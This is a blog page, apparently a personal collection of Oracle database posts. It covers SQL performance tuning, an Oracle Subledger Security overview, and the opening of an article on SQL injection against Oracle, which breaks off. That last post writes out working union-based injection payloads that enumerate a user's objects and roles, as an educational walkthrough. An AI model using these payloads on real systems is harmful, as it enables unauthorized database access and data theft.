C concurrent program/ pro*C concurrent program November 23, 2009
Posted by haind in Uncategorized.add a comment
Huong dan cach viet C concurrent program/Pro*C concurrent program tren Application 11i
Oracle Performance Tuning-By Steve Callan November 6, 2008
Posted by haind in oracle.Tags: Oracle Performance
add a comment
<From http://www.databasejournal.com/>
Part1:
Performance tuning is a broad and somewhat complex topic area when it comes to Oracle databases. Two of the biggest questions faced by your average DBA concern where to start and what to do. All you may know is that someone (a user) reports a problem about a slow or poor performing application or query. Where do you even begin to start when faced with this situation?
Oracle’s Approach to Tuning
For anyone who has taken the Performance Tuning exam for Oracle8i certification, one of the testable areas dealt with Oracle’s Tuning Methodology. Oracle’s emphasis on this particular methodology changed when Oracle9i was released. The approach has gone from top-down in 8i to that of following principles in 9i/10g. Neither methodology is absolute as each has its advantages and disadvantages. In Oracle8i, the steps consisted of the following:
1. Tuning the Business Rules
2. Tuning the Data Design
3. Tuning the Application Design
4. Tuning the Logical Structure of the Database
5. Tuning Database Operations
6. Tuning the Access Paths
7. Tuning Memory Allocation
8. Tuning I/O and Physical Structure
9. Tuning Resource Contention
10. Tuning the Underlying Platform(s)
With Oracle9i’s principle-based approach, the principles, in order of priority, are:
| Priority | Description |
| First | Define the problem clearly and then formulate a tuning goal. |
| Second | Examine the host system and gather Oracle statistics. |
| Third | Compare the identified problem to the common performance problems identified by Oracle in the Oracle9i Database Performance Methods (Release 1)/Database Performance Planning (Release 2) |
| Fourth | Use the statistics gathered in the second step to get a conceptual picture of what might be happening on the system. |
| Fifth | Identify the changes to be made and then implement those changes. |
| Sixth | Determine whether the objectives identified in step one have been met. If they have, stop tuning. If not, repeat steps five and six until the tuning goal is met. |
Reference: OCP: Oracle9i Performance Tuning Study Guide, SYBEX, Inc.
Interestingly, the emphasis on identifying which step an action falls under went away with Oracle9i, and recitation of the principles is not a testable item. The title of documentation even changed between releases one and two, and that should send a clear signal that the art of performance tuning (or, performance and tuning) is still just that – an art. When it comes to instance tuning, the steps are even further reduced in Oracle10g.
The performance tuning guide for Oracle10g (Release 2) identifies the overall process as The Oracle Performance Improvement Method. The steps have been expanded, but overall, remain the same.
1. Perform the following initial standard checks:a. Get candid feedback from users. Determine the performance project’s scope and subsequent performance goals, as well as performance goals for the future. This process is key in future capacity planning.
b. Get a full set of operating system, database, and application statistics from the system when the performance is both good and bad. If these are not available, then get whatever is available. Missing statistics are analogous to missing evidence at a crime scene: They make detectives work harder and it is more time-consuming.
c. Sanity-check the operating systems of all machines involved with user performance. By sanity-checking the operating system, you look for hardware or operating system resources that are fully utilized. List any over-used resources as symptoms for analysis later. In addition, check that all hardware shows no errors or diagnostics.
2. Check for the top ten most common mistakes with Oracle, and determine if any of these are likely to be the problem. List these as symptoms for later analysis. These are included because they represent the most likely problems. ADDM automatically detects and reports nine of these top ten issues. See Chapter 6, “Automatic Performance Diagnostics” and “Top Ten Mistakes Found in Oracle Systems”.
3. Build a conceptual model of what is happening on the system using the symptoms as clues to understand what caused the performance problems. See “A Sample Decision Process for Performance Conceptual Modeling”.
4. Propose a series of remedy actions and the anticipated behavior to the system, then apply them in the order that can benefit the application the most. ADDM produces recommendations each with an expected benefit. A golden rule in performance work is that you only change one thing at a time and then measure the differences. Unfortunately, system downtime requirements might prohibit such a rigorous investigation method. If multiple changes are applied at the same time, then try to ensure that they are isolated so that the effects of each change can be independently validated.
5. Validate that the changes made have had the desired effect, and see if the user’s perception of performance has improved. Otherwise, look for more bottlenecks, and continue refining the conceptual model until your understanding of the application becomes more accurate.
6. Repeat the last three steps until performance goals are met or become impossible due to other constraints.
The Change is Part of the Problem
The change from a top-down structured approach to a principle-based “make it stop hurting” one is part of the problem. Gathering statistics is obviously important because how else do you know if you have improved (or worsened) the problem? Still, to some degree with either approach, you are left with the original two questions: what do I look for, and how do I make it better? If the structured approach left you scratching your head, the principled approach only adds to the confusion.
What would help the novice tuner (disclaimer: I am far from being an expert) is a list of items or areas to evaluate (configure, diagnose, and tune) in each of the following areas:
- Tuning the Buffer Cache
- Tuning the Redo Log Buffer
- Tuning the Shared Pool Memory
- Tuning the Program Global Area
- Optimizing Data Storage
- Optimizing Tablespaces
- Tuning Undo Segments
- Detecting Lock Contention
- Tuning SQL
These areas pretty much cover the Oracle RDBMS and instance from top to bottom. The remainder of this article will focus on tuning SQL, or more precisely, preventing slow SQL execution. Aren’t these the same thing? Mostly yes, but a common approach in development is making a statement perform well enough or fast enough. Each and every statement does not have to be optimal, but some thought has to go into coding them. You do not have the time to optimize hundreds or even thousands of SQL statements, but at the same time, there are guidelines you can follow to avoid common mistakes and bad coding.
17 Tips for Avoiding Problematic Queries
The source of these 17 tips is from Oracle9i Performance Tuning: Optimizing Database Productivity by Hassan Afyouni (Thompson Course Technology, 2004). These tips provide a solid foundation for two outcomes: making a SQL statement perform better, and determining that nothing else can be done in this regard (i.e., you have done all you can with the SQL statement, time to move on to another area).
The 17 tips are listed below.
1. Avoid Cartesian products
2. Avoid full table scans on large tables
3. Use SQL standards and conventions to reduce parsing
4. Lack of indexes on columns contained in the WHERE clause
5. Avoid joining too many tables
6. Monitor V$SESSION_LONGOPS to detect long running operations
7. Use hints as appropriate
8. Use the SHARED_CURSOR parameter
9. Use the Rule-based optimizer if I is better than the Cost-based optimizer
10. Avoid unnecessary sorting
11. Monitor index browning (due to deletions; rebuild as necessary)
12. Use compound indexes with care (Do not repeat columns)
13. Monitor query statistics
14. Use different tablespaces for tables and indexes (as a general rule; this is old-school somewhat, but the main point is reduce I/O contention)
15. Use table partitioning (and local indexes) when appropriate (partitioning is an extra cost feature)
16. Use literals in the WHERE clause (use bind variables)
17. Keep statistics up to date
That is quite a list and overall is thorough and accurate. Step 9, referring to the use of the Rule-based optimizer, may cause a reliance or dependency on a feature Oracle has identified as a future item to be deprecated. You are eventually going to have to solve the problem using the CBO, so you may as well start now and forget about the RBO. Step 14 should be changed to something along the lines of “reduce I/O contention” instead of its currently stated “separate index and table tablespaces” guidance.
In Closing
In the next article of this series, we will look at some specific steps of these tips. For example, advice given on many Web sites about how to improve a SQL statement’s performance typically includes “use bind variables.” Well, I am sure many people have this question: “How, exactly, do I do that?” It is actually pretty simple, as are many of the details of how to use many of these tips.
Part2:
As mentioned in Part 1, there are several relatively easy steps you can take to improve performance. From the user’s perspective, one of the most frequently used interfaces with a database involves SQL statements, so getting a handle on them is a good place to start in terms of being able to see an immediate improvement.
In the interest of being complete, I will cover some preliminary steps that will be needed in order to view what is taking place. These steps include running the plustrce SQL script, creating an “EXPLAIN_PLAN” table, granting a role, and configuring your SQL*Plus environment to see execution plans. All of these steps are covered in “Using Autotrace in SQL*Plus” in Oracle9i Database Performance Tuning Guide and Reference Release 2 (9.2). For Oracle10g, the steps are covered in “Tuning SQL*Plus” in SQL*Plus® User’s Guide and Reference Release 10.2.
Preliminary Steps
If the PLUSTRACE role does not exist, create it using the PLUSTRCE SQL script found in ORACLE_HOME\sqlplus\admin. The script is pretty simple:
drop role plustrace; create role plustrace; grant select on v_$sesstat to plustrace; grant select on v_$statname to plustrace; grant select on v_$mystat to plustrace; grant plustrace to dba with admin option;
Check for the role using:
SQL> select role from dba_roles where role = 'PLUSTRACE'; ROLE ---------------- PLUSTRACE
The user must have (or have access to) a PLAN_TABLE (it can named something else, but for now, the “default” name is fine). This table is created using the UTLXPLAN SQL script found in ORACLE_HOME\rdbms\admin.
SQL> show user USER is "SYSTEM" SQL> @?\rdbms\admin\utlxplan Table created. SQL> create public synonym plan_table for system.plan_table; Synonym created. SQL> grant select, update, insert, delete on plan_table to <your user name>; Grant succeeded. SQL> grant plustrace to <your user name>; Grant succeeded.
The user for these examples is HR (found in the sample schemas provided by Oracle).
SQL> conn hr/hr Connected. SQL> set autotrace on SQL> select * from dual; D - X
With autotrace set to on, you can confirm your ability to see an execution plan and some statistics. You should see output similar to the following:
Execution Plan
----------------------------------------------------------
0 SELECT STATEMENT Optimizer=ALL_ROWS (Cost=2 Card=1 Bytes=2)
1 0 TABLE ACCESS (FULL) OF 'DUAL' (TABLE) (Cost=2 Card=1 Bytes=2)
Statistics
----------------------------------------------------------
24 recursive calls
0 db block gets
6 consistent gets
1 physical reads
0 redo size
389 bytes sent via SQL*Net to client
508 bytes received via SQL*Net from client
2 SQL*Net roundtrips to/from client
0 sorts (memory)
0 sorts (disk)
1 rows processed
To suppress the results of the query, use “traceonly” in the set statement.
Using Bind Variables
On any number of DBA help type of Web sites, a frequently seen bit of advice is to use bind variables, but rarely are the steps or instructions for this step included. Here is a simple way to create and use a bind variable.
SQL> variable department_id number
SQL> begin
2 :department_id := 80;
3 end;
4 /
PL/SQL procedure successfully completed.
SQL> print department_id
DEPARTMENT_ID
-------------
80
Now let’s make a comparison between querying for employee ID and name with and without the bind variable (with the output turned off using traceonly).

Now let’s use the bind variable.

Okay, so the difference isn’t that great (the cost went from 3 to 2), but this was a small example (the table only has 107 rows). Is there much of a difference when working with a larger table? Use the SH schema and its SALES table with its 900,000+ rows.
SQL> select prod_id, count(prod_id) 2 from sales 3 where prod_id > 130 4 group by prod_id;

Same query, but this time using a bind variable.
SQL> variable prod_id number
SQL> begin
2 :prod_id := 130;
3 end;
4 /
PL/SQL procedure successfully completed.
SQL> print prod_id
PROD_ID
----------
130
SQL> select prod_id, count(prod_id)
2 from sales
3 where prod_id > :prod_id
4 group by prod_id;

The cost went from 540 to 33, and that is fairly significant. One of the main benefits is that the query using the bind variable, that is, the work done parsing the query, stays the same each and every time. All you have to do is substitute a new value for the variable.
Use Efficient SQL
Suppose you have a choice between the following two queries (using the HR schema again):
Query 1
select d.department_id,
d.department_name,
r.region_name
from departments d,
locations l,
countries c, regions r
where d.location_id=l.location_id
and l.country_id=c.country_id
and c.region_id=r.region_id;
and
select department_id,
department_name,
region_name
from departments natural join locations
natural join countries natural join regions;
This leads to four questions.
1. Are these queries querying for the same result set?
2. If they are the same, would you expect any difference in their execution plans?
3. If the plans are the same, what is it that makes these queries different?
4. Can anything be done to improve the cost?
The answer to the first question is yes, they are the same. The answer to the second question is no, not really, because the same steps are involved in terms of joining tables. The answer to the third question has to do with the amount of typing or coding involved.
The use of the “natural join,” “join on” and “right/left outer join” keywords is what matters in this example. If you understand what a natural join is (still joining two tables, but the column names involved are the same), doesn’t it look easier to use the second query?
The proof of the answer to the second question is shown below.
Query 1’s Execution Plan

Query 2’s Execution Plan

As for the answer to the last question, efficient SQL can mean different things to different people. In this case, what about using a view? Will the cost be any different from either of the original queries (you can see for yourself what the answer is), or are there other considerations to take into account?
Suppose we have a view named cost_example, created as follows:
create or replace view cost_example
as
select department_id, department_name, region_name
from departments natural join locations
natural join countries natural join regions;
Let’s look at a record in the view.
SQL> select department_id, department_name, region_name
2 from cost_example
3 where department_id=70;
DEPARTMENT_ID DEPARTMENT_NAME REGION_NAME
------------- ------------------------------ ------------
70 Public Relations Europe
Out of the three columns or fields, can any of them be changed? If so, why? If not, why not?
Let’s suppose the region name is now Asia instead of Europe.
SQL> update cost_example
2 set region_name = 'Asia'
3 where region_name = 'Europe';
set region_name = 'Asia'
*
ERROR at line 2:
ORA-01779: cannot modify a column which maps to a non key-preserved table
Can the department name be changed?
SQL> update cost_example
2 set department_name = 'PR'
3 where department_name = 'Public Relations';
1 row updated.
The reason why the record in the view can be updated (the department name, anyway) is that DEPARTMENTS is a key-preserved table (its primary key DEPARTMENT_ID was used in the creation of the view).
The point of this example is this: just because you obtain the lowest cost does not mean you cannot do anything else to make a query better. Better, in this case, applies to developers using simpler join constructs, and applies to users in that providing views for their use saves you the effort of having to explain how to do complex joins. The caution on views is to keep track of key-preserved versus non key-preserved tables so that what you intend to be modifiable is indeed just that.
In Closing
The main points of this article are:
- Use bind variables
- Use efficient SQL
- Use coding standards
- Consider the technical or SQL know-how of your user population and create views as appropriate
None of these steps is especially difficult to perform or implement. For programmers used to using the “tableA.column_name = tableB.column_name” format for joins, moving to the use of natural joins saves quite a bit of typing, plus there is the benefit of having key column names match up (the foreign key column in the child table has the same column name as the primary key in the parent table). As shown, some measures may not have a big impact, but when taken as a whole, every little bit helps to improve performance. In Part 3, we will look at more examples of steps you can take to improve performance.
Part3:
As mentioned in Parts 1 and 2, there are several relatively easy steps you can take to improve performance. One of those steps involves using an automated tool to “guide” you in writing SQL statements. There are several vendors who manufacture analysis or performance tuning tools, and in the next two articles, we will look at one of them.
Quest Software
Many DBAs and developers use a tool named Toad, produced by Quest Software. According to a statement at Quest Software’s Web site, the Toad user community numbers around 500,000 users. One of Toad’s features is its ability to optimize SQL queries. In other words, Oracle Corporation does not own the market on tuning advisor type of tools.
Knowing that you have several choices with respect to advisory tools, and understanding what it is they do, what do you use them on if you are not working in a production or development environment? And perhaps just as likely, even if you are in a development environment, you may not have any bulk data to use. Generating bulk or large amounts of data is the focus of this article, and the tool we will look at for this purpose is another Quest Software product: DataFactory® for Oracle.
DataFactory
The purpose of DataFactory is to “quickly create meaningful test data for multiple database platforms.” The platforms include Oracle, DB2, Sybase and any ODBC compliant database. Normally retailing at $595 per server, a free 30-day version is available for download at Quest Software’s Web site.
To obtain the software (current version of 5.5.0), you must register using a “real” email address. Hotmail and Gmail addresses were rejected, but Comcast went through just fine. Once you register, you will receive an email that contains a key to unlock the application and start the 30-day free trial clock.
The installation process is quick and straightforward. If you are running Microsoft AntiSpyware, you may receive one or more errors. Disable the real time protection and attempt to reinstall DataFactory.
Creating Tutorial Objects
An excellent way to get to know the application is to use its tutorial objects. The general process is to:
- Create a project
- Create tables in a schema
- Run a script to load data
Unfortunately, an excellent way to get a refresher on disabling system-named referential constraints is to use the built-in tutorial objects. Using an iterative process, you can disable constraints one at a time until the load script runs through without error. However, while Quest is working on fixing this bug, we can take a short excursion into identifying and disabling a constraint.
After starting DataFactory, you can choose to start the tutorial. The instructions on how to load the tutorial objects (as is all help) are in HTML files.

The instructions from the help system state that the tables are populated. That is not correct. The tables (15 in all, named using a “DF_” prefix) are populated after an additional step.

Prior to creating the tables, you may want to create a separate schema in your database. Using Oracle10g, I created a user/schema owner named quest (granting connect and resource will be sufficient). You will be prompted for a username/password combination and database information.
So, following Tools>Create Tutorial Obects –

- the Tutorial Setup Wizard appears (with its own version of the Oracle logo).

A list of tables appears on the Finish Page.

Upon successful creation, DataFactory tells you so.

The project folder appears in the left frame

Click the Run button on the main menu. The ORA-02291 integrity constraint violated error will appear quite a few times (some tables more than once) because the loaded data in a foreign key-designated column does not correspond with data in a parent table. Almost all of the constraints use the SYS_Cxxxxxx naming structure, meaning they are not explicitly named.
![]()
To work around the integrity constraint violation, you can disable the constraint (once you know which table to alter). The query and ALTER TABLE statement below show one method to identify and disable the problem constraint.
SQL> select owner, constraint_name, table_name, column_name
2 from all_cons_columns
3 where constraint_name like '%9814%';
OWNER CONSTRAINT_NAME TABLE_NAME COLUMN_NAME
----- ------------------------------ -------------------- ------------
QUEST SYS_C009814 DF_ORDERS CUSTID
SQL> alter table df_orders
2 disable constraint sys_c009814;
Table altered.
The Results window showing that your project-named script has completed successfully means we are ready to start looking around at what was created.

Instead of analyzing each table one at a time, use the DBMS_STATS built-in (which Oracle recommends to use for most analyze operations). If you are using Oracle10g, you may want to add a WHERE dropped=’NO’ to prevent dropped tables from appearing in queries on user_tables or tab (as an example).
SQL> execute dbms_stats.gather_schema_stats('QUEST');
PL/SQL procedure successfully completed.
SQL> select table_name, num_rows
2 from user_tables
3 where dropped='NO';
TABLE_NAME NUM_ROWS
-------------------- ----------
DF_TITLES 100
DF_MOVIE_CUSTOMER 1100
DF_MOVIE_EMPLOYEE 900
DF_DUMMY 1100
DF_AUTHORS_TITLES 1100
DF_MOVIE_RENTAL 700
DF_PRODUCTS 100
DF_MOVIE_TAPE 400
DF_CUSTOMERS 1100
DF_AUTHORS 1100
DF_MOVIE_DISTRICT 1100
DF_ORDERS 101
DF_MOVIE_MOVIE 900
DF_ORDERDETAILS 200
DF_MOVIE_STORE 500
15 rows selected.
Back in the project hierarchy or list of tables, selecting a table in the list will show its columns and their datatypes (you may have to toggle between the Children and Results tabs at the bottom of the application).

Using the DF_MOVIE_CUSTOMER table as an example, how does its data look? The “random characters” option definitely produces exactly that.

More on the Tutorial Tables
Are there any indexes on the foreign key columns?
SQL> select index_name, table_name, column_name, column_position
2 from user_ind_columns;
INDEX_NAME TABLE_NAME COLUMN_NAME COLUMN_POSITION
------------ -------------------- -------------------- ---------------
SYS_C009823 DF_MOVIE_DISTRICT DISTRICTID 1
SYS_C009827 DF_MOVIE_STORE STOREID 1
SYS_C009830 DF_MOVIE_EMPLOYEE EMPID 1
SYS_C009837 DF_MOVIE_CUSTOMER CUSTID 1
SYS_C009841 DF_MOVIE_MOVIE MOVIEID 1
SYS_C009845 DF_MOVIE_TAPE TAPEID 1
SYS_C009850 DF_MOVIE_RENTAL TAPEID 1
SYS_C009850 DF_MOVIE_RENTAL CUSTID 2
SYS_C009850 DF_MOVIE_RENTAL RENTDATE 3
SYS_C009810 DF_CUSTOMERS CUSTID 1
SYS_C009813 DF_ORDERS ORDERID 1
SYS_C009816 DF_PRODUCTS PRODUCTID 1
SYS_C009819 DF_ORDERDETAILS ORDERID 1
SYS_C009819 DF_ORDERDETAILS PRODUCTID 2
14 rows selected.
What does the output suggest? You can immediately identify the fact that for one, not every table has a primary key. There are 15 tables, but only 14 rows (or 11 distinct tables as some indexes are composites). Why do we know this? Because one of the benefits of creating a primary key is that you get an index for free. If you disabled all of the referential integrity constraints that arise in the load script, what else might you suspect?
Oracle recommends indexing foreign key columns as they are frequently used in joins, and the general rule is to index columns used in WHERE clauses (which is obviously where joins are listed). Given the lack of indexes, your suspicion should be that the “create table” component of the tutorial tables does not index foreign key columns.
The query below shows the table name/column name foreign keys (they all have position 1 meaning only a single column was used).
SQL> select a.constraint_name, b.constraint_type,
2 a.table_name, a.column_name
3 from user_cons_columns a, all_constraints b
4 where a.constraint_name=b.constraint_name
5 and constraint_type = 'R';
CONSTRAINT_NAME C TABLE_NAME COLUMN_NAME
---------------- - -------------------- -------------
SYS_C009831 R DF_MOVIE_EMPLOYEE SUPERVISORID
SYS_C009828 R DF_MOVIE_STORE DISTRICTID
SYS_C009821 R DF_ORDERDETAILS PRODUCTID
SYS_C009820 R DF_ORDERDETAILS ORDERID
DFMOVIESTOREFK2 R DF_MOVIE_STORE MANAGERID
SYS_C009852 R DF_MOVIE_RENTAL TAPEID
SYS_C009851 R DF_MOVIE_RENTAL CUSTID
SYS_C009838 R DF_MOVIE_CUSTOMER STOREID
SYS_C009814 R DF_ORDERS CUSTID
SYS_C009846 R DF_MOVIE_TAPE MOVIEID
DFMOVIEEMPFK2 R DF_MOVIE_EMPLOYEE STOREID
11 rows selected.
The end result? Suspicion confirmed; the foreign keys were not indexed.
From a management or maintenance perspective, why are only two of the referential integrity constraints explicitly named while the rest are system named? As it turns out, of the 51 constraints in this schema, these happen to be the only two user named constraints.
In Closing
The key point to take away from this exploration of a tool such as DataFactory is that while the tool (or a script you create) can generate millions of rows of test or sample data, what good is any of it if it misses the boat on referential integrity or other best practices with respect to data modeling? If you are trying to tune queries for an application, the test data needs to reflect how the application uses it. If you are relying on referential integrity, your test data needs to support and honor parent table-child table relationships.
From a design standpoint, two best practices that were violated include failure to index foreign key columns, and failure to explicitly name three major items (primary keys, foreign keys, and indexes). A possible third violation concerns not having a primary key on every table. Does every table in a schema require a primary key? No, but for the most part, every table (to support normalization) should, and if not, you should at least know why. Put another way, to not normalize a table should be a conscious decision, not an oversight.
SLS: Subledger Security September 5, 2008
Posted by haind in 11i, oracle.Tags: 11i
add a comment
Overview
Subledger Security is not to be associated with other products within the Oracle
Public Sector Financials (International) suite.
Subledger Security is designed to be used as a tool by the systems administrator or
database administrator, rather than as a standard end-user product. Subledger
security is a requirement that is primarily a technical implementation of a business
security policy.
WARNING: Subledger Security must be implemented and maintained only when
end-users are not using Oracle Applications, for example, during system downtime.
This is because Subledger Security works at the Oracle database table level.
Subledger Security is not supported if Subledger Security is implemented or
maintained when end-users are using an Oracle product.
Subledger Security is based on two principles as follows:
application context
fine grained security
Subledger Security is an addition to Oracle Applications and is transparent to the
end-user after implementation.
Standard Oracle Application features and processes are not altered or extended
because Subledger Security is implemented and maintained through a set of
standalone windows and reports.
Features
The following features are available in Subledger Security:
Data Management
Data Security
Data Security Auditing
Reports
Data management and data security are conceptually separate business
requirements but are closely related to, and are physically indistinguishable within
the implementation of Subledger Security.
Data Management
Subledger security facilitates management of transactions. In the Oracle
Applications multiple organizations architecture, it provides a lower organizational
level.
Overview
Users can view transactions belonging to their own business units.
Data Security
Subledger Security enables transactions to be viewed by the business unit from
which they originated and not by any other business unit. Users belonging to a
business unit can view and modify transactions entered by users belonging to their
business unit only. There is also a top level central business unit that can view all
business unit transactions. Users belonging to this central business unit can view
transactions belonging to all business units.
Table 89–1, page 89-4 describes the data management and data security windows
and concurrent programs available in Subledger Security.
Data Security Auditing
Subledger Security provides an audited history of the major control actions that can
be performed on the main business entities as follows:
enable security
re-enable security
Table 89–1 Data Management and Data Security Windows and Concurrent Programs
Object Type Purpose
Maintain Tables Window Specify all Oracle Financials
database tables that require
security and need allocating
to security groups.
Maintain Groups Window Specify all required security
groups and process groups.
Maintain Allocations Window Allocate and maintain
required Oracle database
tables and process groups to a
security group. Allocate and
maintain Oracle database
tables belonging to a process
group.
Apply Security Concurrent Program Apply security policy as
required.
Security Group
Consolidations
Window Consolidate or merge security
groups.
Overview
Subledger Security Process 89-5
disable security
delete security
The audited history enables an organization’s business analyst and systems
administrator to recognize and reconcile the history profile of secured database
tables. Auditing history is accessible through window or report based inquiry.
Reports
A comprehensive set of reports supports implementation and maintenance of
Subledger Security. The Subledger Security reports provide information on the
current and previous state of Subledger Security objects and the organization’s
security structure, as shown in Table 89–2, page 89-5.
Table 89–2 Subledger Security Reports
Report Purpose
Subledger Security: Group
Status Report
Provides a list of groups and descriptions. Displays current
enabled date.
Subledger Security: Secure
Tables Status Report
Lists all tables defined as secure by the user, and displays the
current status.
Subledger Security: Group
Secure Tables Report
Lists all tables currently secured for each security group.
Subledger Security:
Allocation Status Report
This report lists the following information: process groups and
the secure tables allocated to them; security groups; allocated
process groups and secure tables with the enabled or disabled
status. This report shows all historic data and can be run for a
given subledger security group, a process group, or a secure
table.
Subledger Security: Object
Status Report
Displays status of subledger security objects for each secure
table. The report lists all corresponding subledger security
table names, the policy on the secure table, the policy function
used by the policy, and the database trigger on the secure
table.
Subledger Security: User
Allocation Status Report
Lists security groups with associated application users and
responsibilities.
Subledger Security:
Security Group
Consolidations Report
Provides information relating to security group consolidations
and enables an organization to reconcile business unit
structure changes. Displays source security groups
consolidated in the parent security group and historical
information.
Overview
89-6 Oracle Public Sector Financials (International) User’s Guide
Supported Products
Subledger Security is supported for the following Oracle Supply Chain and Oracle
Financials modules:
Purchasing
Payables
Receivables
Tuning Oracle SQL July 2, 2008
Posted by haind in oracle.add a comment
Some method for tuning SQL collected:
How to Develop efficient Sql Statements-SQL Tuing
1)Verify Optimizer Statistics:
——————————————–
The query optimizer uses statistics gathered on tables and indexes when determining the optimal execution plan. If these statistics have not been gathered, or if the statistics are no longer representative of the data stored within the database, then the optimizer does not have sufficient information to generate the best plan.
So, gather statistics of all tables that are involved in SQL statements. You can check whether your statistics is up to date or not by querying
SELECT COUNT(*) FROM table_name;
and,
select NUM_ROWS from dba_tables where table_name=’TABLE_NAME’;
If they are almost same then you have correct optimizer statistics. If they don’t match then gather new statistics.
2)Review the Execution Plan:
—————————————
When tuning (or writing) a SQL statement, the goal is to drive from the table that has the most selective filter. This means that there are fewer rows passed to the next step. If the next step is a join, then this means that fewer rows are joined. Check to see whether the access paths are optimal.
We can check it by examine the optimizer execution plan following,
•The plan is such that the driving table has the best filter.
•The join order in each step means that the fewest number of rows are being returned to the next step (that is, the join order should reflect, where possible, going to the best not-yet-used filters).
•The join method is appropriate for the number of rows being returned. For example, nested loop joins through indexes may not be optimal when many rows are being returned.
•Views are used efficiently. Look at the SELECT list to see whether access to the view is necessary.
•There are any unintentional Cartesian products (even with small tables).
•Each table is being accessed efficiently:
-Consider the predicates in the SQL statement and the number of rows in the table. Look for suspicious activity, such as a full table scans on tables with large number of rows, which have predicates in the where clause. Determine why an index is not used for such a selective predicate.
-A full table scan does not mean inefficiency. It might be more efficient to perform a full table scan on a small table, or to perform a full table scan to leverage a better join method (for example, hash_join) for the number of rows returned.
If any of these conditions are not optimal, then consider restructuring the SQL statement or the indexes available on the tables.
3)Restructuring the SQL Statements
———————————————-
Often, rewriting an inefficient SQL statement is easier than modifying it. If you understand the purpose of a given statement, then you might be able to quickly and easily write a new statement that meets the requirement.
While restructuring the SQL statements keep in mind of the following issues.
•Use equijoins whenever possible.
That is compose predicate using AND and =.
•Avoid Transformed Columns in the WHERE Clause.
That is use
a=b instead of to_number(a)=to_number(b)
When you need to use SQL functions on filters or join predicates, do not use them on the columns on which you want to have an index; rather, use them on the opposite side of the predicate, as in the following statement; if you have index on varcol
TO_CHAR(numcol) = varcol
rather than
varcol = TO_CHAR(numcol)
•Write Separate SQL Statements for Specific Tasks.
SQL is not a procedural language. Using one piece of SQL to do many different things usually results in a less-than-optimal result for each task. If you want SQL to accomplish different things, then write various statements, rather than writing one statement to do different things depending on the parameters you give it.
It is always better to write separate SQL statements for different tasks, but if you must use one SQL statement, then you can make a very complex statement slightly less complex by using the UNION ALL operator.
•Use of EXISTS versus IN for Subqueries.
In certain circumstances, it is better to use IN rather than EXISTS. In general, if the selective predicate is in the subquery, then use IN. If the selective predicate is in the parent query, then use EXISTS.
4)Controlling the Access Path and Join Order with Hints
————————————————————————————–
You can use hints in SQL statements to instruct the optimizer about how the statement should be executed. Hints, such as /*+FULL */ control access paths.
Join order can have a significant effect on performance. The main objective of SQL tuning is to avoid performing unnecessary work to access rows that do not affect the result. This leads to three general rules:
•Avoid a full-table scan if it is more efficient to get the required rows through an index.
•Avoid using an index that fetches 10,000 rows from the driving table if you could instead use another index that fetches 100 rows.
•Choose the join order so as to join fewer rows to tables later in the join order.
•Be careful when joining views, when performing outer joins to views, and when reusing an existing view for a new purpose.
•Joins to complex views are not recommended, particularly joins from one complex view to another. Often this results in the entire view being instantiated, and then the query is run against the view data.
•Beware of writing a view for one purpose and then using it for other purposes to which it might be ill-suited. Querying from a view requires all tables from the view to be accessed for the data to be returned. Before reusing a view, determine whether all tables in the view need to be accessed to return the data. If not, then do not use the view. Instead, use the base table(s), or if necessary, define a new view. The goal is to refer to the minimum number of tables and views necessary to return the required data.
•An outer join within a view is problematic because the performance implications of the outer join are not visible.
•Consider using materialized views.
5)Restructuring the Indexes
———————————————–
Often, there is a beneficial impact on performance by restructuring indexes. This can involve the following:
Remove nonselective indexes to speed the DML.
Index performance-critical access paths.
Consider reordering columns in existing concatenated indexes.
Add columns to the index to improve selectivity.
6)Modifying or Disabling Triggers and Constraints
———————————————————–
Using triggers consumes system resources. If you use too many triggers, then you can find that performance is adversely affected and you might need to modify or disable them.
7)Restructuring the Data
—————————————–
After restructuring the indexes and the statement, you can consider restructuring the data.
Introduce derived values. Avoid GROUP BY in response-critical code.
Review your data design. Change the design of your system if it can improve performance.
Consider partitioning, if appropriate.
8)Combine Multiples Scans with CASE Statements
———————————————————–
Often, it is necessary to calculate different aggregates on various sets of tables. Usually, this is done with multiple scans on the table, but it is easy to calculate all the aggregates with one single scan. Eliminating n-1 scans can greatly improve performance.
9)Maintaining Execution Plans Over Time
——————————————————-
You can maintain the existing execution plan of SQL statements over time either using stored statistics or stored SQL execution plans. Storing optimizer statistics for tables will apply to all SQL statements that refer to those tables. Storing an execution plan (that is, plan stability) maintains the plan for a single SQL statement. If both statistics and a stored plan are available for a SQL statement, then the optimizer uses the stored plan.
SQL Injection and Oracle, Part Two June 13, 2008
Posted by haind in oracle.add a comment
This is the second part of a two-part article that will examine SQL injection attacks against Oracle databases. The first installment offered an overview of SQL injection and looked at how Oracle database applications are vulnerable to this attack, and looked at some examples. This segment will look at enumerating the privileges, detecting SQL injection attacks, and protecting against SQL injection.
Enumerating the Privileges
Access to SQL inject an Oracle database is great, but what would an attacker look for to gain an advantage or a potential step up. He would, of course, need to enumerate the user he had access to and see what that user can see and do. I will show a few examples here to give the reader an idea of what is possible.
In this example, we are logged in as the user dbsnmp and the get_cust procedure has been modified to select three columns from our sample table. If we use a union to extend an existing select statement then the new SQL in the union must select the same number of columns and data types as the existing hijacked select otherwise an error occurs, see the following:
SQL> exec get_cust('x'' union select 1,''Y'' from sys.dual where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select 1,'Y' from sys.dual where 'x'='x'
-1789ORA-01789: query block has incorrect number of result columns
The main select has three varchar columns but we select two columns and one is a number; as a result, an error occurs. Back to enumeration, first get the objects that the user we are logged in as can see:
SQL> exec get_cust('x'' union select object_name,object_type,''x'' from user_obj
ects where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select object_name,object_type,'x' from
user_objects where 'x'='x'
::CUSTOMERS:TABLE:x
::DBA_DATA_FILES:SYNONYM:x
::DBA_FREE_SPACE:SYNONYM:x
::DBA_SEGMENTS:SYNONYM:x
::DBA_TABLESPACES:SYNONYM:x
::GET_CUST:PROCEDURE:x
::GET_CUST2:PROCEDURE:x
::GET_CUST_BIND:PROCEDURE:x
::PLSQ:DATABASE LINK:x
Then get the roles that have been allocated directly to the user:
SQL> exec get_cust('x'' union select granted_role,admin_option,default_role from
user_role_privs where ''x''=''x');
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname='x' union select granted_role,admin_option,default_role
from user_role_privs where 'x'='x'
::CONNECT:NO:YES
::RESOURCE:NO:YES
::SNMPAGENT:NO:YES
Then find out the system privileges that are granted directly to the user:
